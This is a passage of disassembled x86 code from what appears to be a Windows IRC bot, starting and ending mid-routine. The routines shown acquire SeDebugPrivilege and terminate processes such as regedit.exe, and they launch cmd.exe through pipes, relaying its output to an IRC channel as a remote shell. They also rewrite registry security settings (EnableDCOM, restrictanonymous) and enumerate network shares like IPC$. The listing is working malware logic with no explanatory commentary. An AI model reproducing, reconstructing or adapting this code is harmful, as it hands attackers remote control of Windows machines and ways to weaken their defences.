		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset aRegedit_exe ; "regedit.exe"
		jb	short loc_41A65B
		jmp	loc_41A770
; ---------------------------------------------------------------------------

loc_41A683:				; CODE XREF: sub_41A589+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi	; OpenProcess
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_41A770
		push	0
		push	eax
		call	ds:dword_4F53C4	; TerminateProcess
		test	eax, eax
		jnz	loc_41A770

loc_41A6AA:				; CODE XREF: sub_41A589+1CDj
		push	[ebp+var_4]
		call	esi	; CloseHandle
		jmp	loc_41A770
; ---------------------------------------------------------------------------

loc_41A6B4:				; CODE XREF: sub_41A589+C9j
		cmp	[ebp+Str2], eax
		jnz	loc_41A75B
		cmp	[ebp+Str], eax
		jz	loc_41A770
		push	[ebp+var_128]
		push	8
		call	dword_4E3118	; CreateToolhelp32Snapshot
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_41A71B
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4E2FB8	; Module32First
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_41A70D
		lea	eax, [ebp+var_234]
		push	eax
		push	offset aSD_0	; " %s (%d)"
		jmp	short loc_41A72D
; ---------------------------------------------------------------------------

loc_41A70D:				; CODE XREF: sub_41A589+174j
		lea	eax, [ebp+Str1]
		push	eax
		push	offset aSD_1	; " %s (%d)"
		jmp	short loc_41A72D
; ---------------------------------------------------------------------------

loc_41A71B:				; CODE XREF: sub_41A589+15Cj
		push	[ebp+var_128]
		lea	eax, [ebp+Str1]
		push	eax
		push	offset aSD_2	; " %s (%d)"

loc_41A72D:				; CODE XREF: sub_41A589+182j
					; sub_41A589+190j
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		lea	eax, [ebp+Dest]
		push	1		; int
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 14h
		jmp	loc_41A6AA
; ---------------------------------------------------------------------------

loc_41A75B:				; CODE XREF: sub_41A589+12Ej
		push	[ebp+Str2]	; Str2
		lea	eax, [ebp+Str1]
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41A7A3

loc_41A770:				; CODE XREF: sub_41A589+F5j
					; sub_41A589+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4E300C	; Process32Next
		test	eax, eax
		jnz	loc_41A64D
		xor	ebx, ebx

loc_41A78A:				; CODE XREF: sub_41A589+9Dj
					; sub_41A589+B3j
		push	[ebp+var_8]
		call	esi	; CloseHandle

loc_41A78F:				; CODE XREF: sub_41A589+77j
		push	ebx
		push	offset aSedebugprivi_2 ; "SeDebugPrivilege"
		call	sub_41A51E
		pop	ecx
		pop	ecx

loc_41A79C:				; CODE XREF: sub_41A589+3Aj
					; sub_41A589+46j ...
		xor	eax, eax

loc_41A79E:				; CODE XREF: sub_41A589+241j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41A7A3:				; CODE XREF: sub_41A589+1E5j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi	; OpenProcess
		push	[ebp+var_8]
		mov	edi, eax
		call	esi	; CloseHandle
		push	0
		push	edi
		call	ds:dword_4F53C4	; TerminateProcess
		test	eax, eax
		jnz	short loc_41A7C7
		push	edi
		call	esi	; CloseHandle
		jmp	short loc_41A79C
; ---------------------------------------------------------------------------

loc_41A7C7:				; CODE XREF: sub_41A589+237j
		push	1
		pop	eax
		jmp	short loc_41A79E
sub_41A589	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A7CC	proc near		; DATA XREF: sub_401CC7+26BEo

Dest		= byte ptr -298h
var_98		= dword	ptr -98h
Str		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset asc_450DA8 ; "-"
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_41A82B
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_98]	; int
		call	sub_409D34
		add	esp, 14h

loc_41A82B:				; CODE XREF: sub_41A7CC+3Dj
		push	[ebp+var_10]	; int
		lea	eax, [ebp+Str]
		push	esi		; int
		push	esi		; Str2
		push	[ebp+var_C]	; int
		push	eax		; Str
		push	[ebp+var_98]	; int
		call	sub_41A589
		add	esp, 18h
		test	eax, eax
		jnz	short loc_41A853
		push	offset unk_450DC8
		jmp	short loc_41A858
; ---------------------------------------------------------------------------

loc_41A853:				; CODE XREF: sub_41A7CC+7Ej
		push	offset asc_450DEC ; "-"

loc_41A858:				; CODE XREF: sub_41A7CC+85j
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_41A88B
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_98]	; int
		call	sub_409D34
		add	esp, 14h

loc_41A88B:				; CODE XREF: sub_41A7CC+9Dj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		push	[ebp+var_14]
		call	sub_40BA72
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4F53A0	; ExitThread
		pop	edi
		pop	esi
sub_41A7CC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41A8AA	proc near		; CODE XREF: sub_401CC7+7969p
					; sub_40B891+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		call	ds:dword_4F5358	; OpenProcess
		mov	esi, eax
		test	esi, esi
		jz	short loc_41A8DC
		push	0
		push	esi
		call	ds:dword_4F53C4	; TerminateProcess
		test	eax, eax
		jnz	short loc_41A8DC
		push	esi
		xor	edi, edi
		call	ds:dword_4F533C	; CloseHandle

loc_41A8DC:				; CODE XREF: sub_41A8AA+1Aj
					; sub_41A8AA+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41A8AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41A8E1	proc near		; DATA XREF: WinMain(x,x,x,x)+3CDo
		push	esi
		xor	esi, esi

loc_41A8E4:				; CODE XREF: sub_41A8E1+1Ej
		push	1		; int
		push	esi		; int
		push	esi		; Str2
		push	esi		; int
		push	esi		; Str
		push	esi		; int
		call	sub_41A589
		add	esp, 18h
		push	dword_450BAC
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_41A8E4
sub_41A8E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A901	proc near		; CODE XREF: sub_41A931+2Ap
					; sub_41A969+7Ep ...
		mov	eax, dword_4F3464
		push	esi
		mov	esi, ds:dword_4F533C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A915
		push	eax
		call	esi	; CloseHandle

loc_41A915:				; CODE XREF: sub_41A901+Fj
		mov	eax, dword_4F346C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A922
		push	eax
		call	esi	; CloseHandle

loc_41A922:				; CODE XREF: sub_41A901+1Cj
		mov	eax, dword_4F3460
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A92F
		push	eax
		call	esi	; CloseHandle

loc_41A92F:				; CODE XREF: sub_41A901+29j
		pop	esi
		retn
sub_41A901	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41A931(char *Str)

sub_41A931	proc near		; CODE XREF: sub_401CC7+76ADp
					; sub_4167BF+14Ap

var_4		= dword	ptr -4
Str		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+Str]	; Str
		call	_strlen
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+Str]
		push	dword_4F3468
		call	ds:dword_4F53B4	; WriteFile
		test	eax, eax
		jnz	short loc_41A964
		call	sub_41A901
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_41A964:				; CODE XREF: sub_41A931+28j
		push	1
		pop	eax
		leave
		retn
sub_41A931	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41A969(int,char *Str1,int)

sub_41A969	proc near		; CODE XREF: sub_41A9F0+D3p
					; sub_41A9F0+F2p ...

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str1		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_4F34AC ; Str2
		push	[ebp+Str1]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41A9AC
		push	7D0h
		call	ds:dword_4F534C	; Sleep
		push	[ebp+arg_8]
		lea	eax, [ebp+Dest]
		push	[ebp+Str1]
		push	offset aPrivmsgSS_4 ; "PRIVMSG %s :%s\r"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		jmp	short loc_41A9C3
; ---------------------------------------------------------------------------

loc_41A9AC:				; CODE XREF: sub_41A969+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+Dest]
		push	offset aS_31	; "%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch

loc_41A9C3:				; CODE XREF: sub_41A969+41j
		lea	eax, [ebp+Dest]
		push	0
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E3148	; send
		test	eax, eax
		jg	short loc_41A9EC
		call	sub_41A901

loc_41A9EC:				; CODE XREF: sub_41A969+7Cj
		xor	eax, eax
		leave
		retn
sub_41A969	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A9F0	proc near		; DATA XREF: sub_41AB45+174o

Dst		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset byte_4F3470

loc_41AA08:				; CODE XREF: sub_41A9F0+79j
					; sub_41A9F0+DBj
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+Dst]
		push	esi
		push	eax
		push	dword_4F3464
		call	ds:dword_4F5460	; PeekNamedPipe
		test	eax, eax
		jz	loc_41AAD6
		cmp	[ebp+var_4], edi
		jnz	short loc_41AA6B
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4F3460
		call	ds:dword_4F545C	; GetExitCodeProcess
		test	eax, eax
		jz	short loc_41AA61
		cmp	[ebp+var_8], 103h
		jnz	loc_41AAFA

loc_41AA61:				; CODE XREF: sub_41A9F0+62j
		push	0Ah
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_41AA08
; ---------------------------------------------------------------------------

loc_41AA6B:				; CODE XREF: sub_41A9F0+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_41AA82

loc_41AA72:				; CODE XREF: sub_41A9F0+90j
		cmp	[ebp+eax+Dst], 0Ah
		jz	short loc_41AAD0
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_41AA72

loc_41AA82:				; CODE XREF: sub_41A9F0+80j
		mov	[ebp+var_4], esi

loc_41AA85:				; CODE XREF: sub_41A9F0+E4j
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+Dst]
		push	eax
		push	dword_4F3464
		call	ds:dword_4F53BC	; ReadFile
		test	eax, eax
		jz	short loc_41AB22
		lea	eax, [ebp+Dst]
		push	eax		; int
		push	ebx		; Str1
		push	dword_4F34A4	; int
		call	sub_41A969
		add	esp, 0Ch
		jmp	loc_41AA08
; ---------------------------------------------------------------------------

loc_41AAD0:				; CODE XREF: sub_41A9F0+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_41AA85
; ---------------------------------------------------------------------------

loc_41AAD6:				; CODE XREF: sub_41A9F0+45j
		push	offset unk_450E24 ; int
		push	ebx		; Str1
		push	dword_4F34A4	; int
		call	sub_41A969
		push	[ebp+arg_0]
		call	sub_40BA72
		add	esp, 10h
		push	1
		call	ds:dword_4F53A0	; ExitThread

loc_41AAFA:				; CODE XREF: sub_41A9F0+6Bj
		call	sub_41A901
		push	offset unk_450E54 ; int
		push	ebx		; Str1
		push	dword_4F34A4	; int
		call	sub_41A969
		push	[ebp+arg_0]
		call	sub_40BA72
		add	esp, 10h
		push	edi
		call	ds:dword_4F53A0	; ExitThread

loc_41AB22:				; CODE XREF: sub_41A9F0+C3j
		push	offset unk_450E7C ; int
		push	ebx		; Str1
		push	dword_4F34A4	; int
		call	sub_41A969
		push	[ebp+arg_0]
		call	sub_40BA72
		add	esp, 10h
		push	edi
		call	ds:dword_4F53A0	; ExitThread
sub_41A9F0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AB45	proc near		; CODE XREF: sub_401CC7+24F8p
					; sub_4167BF+99p

Dest		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
Dst		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	esi
		push	edi
		call	sub_41A901
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe_0 ; "cmd.exe"
		push	esi
		call	dword_4E31B4	; SearchPathA
		test	eax, eax
		jz	loc_41AC3F
		lea	eax, [ebp+var_1C]
		mov	edi, ds:dword_4F53D0
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], 1
		mov	[ebp+var_18], esi
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_41AC3F
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_41AC3F
		mov	edi, ds:dword_4F53CC
		push	3
		push	esi
		push	esi
		push	offset dword_4F3468
		call	edi	; GetCurrentProcess
		push	eax
		push	[ebp+var_8]
		call	edi	; GetCurrentProcess
		push	eax
		call	ds:dword_4F53C8	; DuplicateHandle
		test	eax, eax
		jz	short loc_41AC3F
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi		; Size
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+Dst]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		lea	eax, [ebp+var_178]
		push	offset dword_4F34B0
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	ds:dword_4F5340	; CreateProcessA
		test	eax, eax
		jnz	short loc_41AC47

loc_41AC3F:				; CODE XREF: sub_41AB45+2Ej
					; sub_41AB45+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_41ACF9
; ---------------------------------------------------------------------------

loc_41AC47:				; CODE XREF: sub_41AB45+F8j
		push	[ebp+var_4]
		mov	edi, ds:dword_4F533C
		call	edi	; CloseHandle
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4F3464, eax
		mov	eax, [ebp+var_8]
		mov	dword_4F346C, eax
		mov	eax, [ebp+Dst]
		mov	dword_4F3460, eax
		call	edi	; CloseHandle
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4F34A4, eax
		jz	short loc_41AC81
		push	[ebp+arg_4]
		jmp	short loc_41AC86
; ---------------------------------------------------------------------------

loc_41AC81:				; CODE XREF: sub_41AB45+135j
		push	offset byte_4F34B4 ; Format

loc_41AC86:				; CODE XREF: sub_41AB45+13Aj
		push	offset byte_4F3470 ; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		push	esi		; int
		push	0Ah		; int
		push	offset asc_450EB4 ; "-"
		call	sub_40B756
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_456020[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_41A9F0
		push	esi
		push	esi
		call	ds:dword_4F5350	; CreateThread
		cmp	eax, esi
		mov	dword_45602C[edi], eax
		jnz	short loc_41ACF7
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_450ED8 ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		add	esp, 10h

loc_41ACF7:				; CODE XREF: sub_41AB45+189j
		xor	eax, eax

loc_41ACF9:				; CODE XREF: sub_41AB45+FDj
		pop	edi
		pop	esi
		leave
		retn
sub_41AB45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ACFD	proc near		; DATA XREF: sub_401CC7+2DFCo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_41AD44
		call	sub_41AD5D
		jmp	short loc_41AD49
; ---------------------------------------------------------------------------

loc_41AD44:				; CODE XREF: sub_41ACFD+3Ej
		call	sub_41B081

loc_41AD49:				; CODE XREF: sub_41ACFD+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40BA72
		pop	ecx
		push	0
		call	ds:dword_4F53A0	; ExitThread
sub_41ACFD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AD5D	proc near		; CODE XREF: sub_41ACFD+40p

Dest		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
Str		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4E31C8, edi
		jnz	loc_41AE8F
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4E3168	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41ADE8
		mov	ax, word_450F50
		mov	word ptr [ebp+Str+2], ax
		lea	eax, [ebp+Str+2]
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4E311C	; RegSetValueExA
		test	eax, eax
		jz	short loc_41ADCA
		push	offset dword_450F60
		jmp	short loc_41ADCF
; ---------------------------------------------------------------------------

loc_41ADCA:				; CODE XREF: sub_41AD5D+64j
		push	offset asc_450F84 ; "-"

loc_41ADCF:				; CODE XREF: sub_41AD5D+6Bj
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4E30D4	; RegCloseKey
		jmp	short loc_41ADFB
; ---------------------------------------------------------------------------

loc_41ADE8:				; CODE XREF: sub_41AD5D+36j
		lea	eax, [ebp+Dest]
		push	offset asc_450FA4 ; "-"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx

loc_41ADFB:				; CODE XREF: sub_41AD5D+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41AE1A
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 14h

loc_41AE1A:				; CODE XREF: sub_41AD5D+A1j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4E3168	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41AE88
		lea	eax, [ebp+Str]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	dword ptr [ebp+Str], 1
		call	dword_4E311C	; RegSetValueExA
		test	eax, eax
		jz	short loc_41AE6A
		push	offset dword_450FE8
		jmp	short loc_41AE6F
; ---------------------------------------------------------------------------

loc_41AE6A:				; CODE XREF: sub_41AD5D+104j
		push	offset asc_451024 ; "-"

loc_41AE6F:				; CODE XREF: sub_41AD5D+10Bj
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4E30D4	; RegCloseKey
		jmp	short loc_41AEA2
; ---------------------------------------------------------------------------

loc_41AE88:				; CODE XREF: sub_41AD5D+E2j
		push	offset dword_451058
		jmp	short loc_41AE94
; ---------------------------------------------------------------------------

loc_41AE8F:				; CODE XREF: sub_41AD5D+13j
		push	offset asc_451094 ; "-"

loc_41AE94:				; CODE XREF: sub_41AD5D+130j
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx

loc_41AEA2:				; CODE XREF: sub_41AD5D+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41AEC1
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 14h

loc_41AEC1:				; CODE XREF: sub_41AD5D+148j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		cmp	dword_4E31F0, edi
		pop	ecx
		jnz	loc_41B03C
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi

loc_41AEE4:				; CODE XREF: sub_41AD5D+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+Str]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4E303C
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41AF81
		cmp	eax, 0EAh
		jz	short loc_41AF81
		mov	esi, offset off_450F10

loc_41AF15:				; CODE XREF: sub_41AD5D+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_419B38
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41AF2C
		push	offset dword_451114
		jmp	short loc_41AF31
; ---------------------------------------------------------------------------

loc_41AF2C:				; CODE XREF: sub_41AD5D+1C6j
		push	offset asc_451138 ; "-"

loc_41AF31:				; CODE XREF: sub_41AD5D+1CDj
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41AF64
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 14h

loc_41AF64:				; CODE XREF: sub_41AD5D+1EBj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		add	esi, 8
		pop	ecx
		cmp	esi, offset aIpc ; "IPC$"
		jb	short loc_41AF15
		jmp	loc_41B019
; ---------------------------------------------------------------------------

loc_41AF81:				; CODE XREF: sub_41AD5D+1AAj
					; sub_41AD5D+1B1j
		mov	esi, dword ptr [ebp+Str]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41B010

loc_41AF90:				; CODE XREF: sub_41AD5D+2AFj
		mov	edi, [esi]
		push	edi		; Str
		call	_wcslen
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41B005
		push	edi
		call	sub_419A25
		push	eax
		push	0
		call	sub_419B38
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41AFBF
		push	offset dword_4510C4
		jmp	short loc_41AFC4
; ---------------------------------------------------------------------------

loc_41AFBF:				; CODE XREF: sub_41AD5D+259j
		push	offset asc_4510E8 ; "-"

loc_41AFC4:				; CODE XREF: sub_41AD5D+260j
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41AFF8
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 14h

loc_41AFF8:				; CODE XREF: sub_41AD5D+27Fj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		pop	ecx

loc_41B005:				; CODE XREF: sub_41AD5D+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41AF90
		xor	edi, edi

loc_41B010:				; CODE XREF: sub_41AD5D+22Dj
		push	dword ptr [ebp+Str]
		call	dword_4E3188

loc_41B019:				; CODE XREF: sub_41AD5D+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41AEE4
		lea	eax, [ebp+Dest]
		push	offset asc_451164 ; "-"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41B04F
; ---------------------------------------------------------------------------

loc_41B03C:				; CODE XREF: sub_41AD5D+177j
		lea	eax, [ebp+Dest]
		push	offset asc_45118C ; "-"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx

loc_41B04F:				; CODE XREF: sub_41AD5D+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41B06D
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 14h

loc_41B06D:				; CODE XREF: sub_41AD5D+2F5j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_41AD5D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B081	proc near		; CODE XREF: sub_41ACFD:loc_41AD44p

Dest		= byte ptr -220h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
Str		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4E31C8, edi
		jnz	loc_41B1AF
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
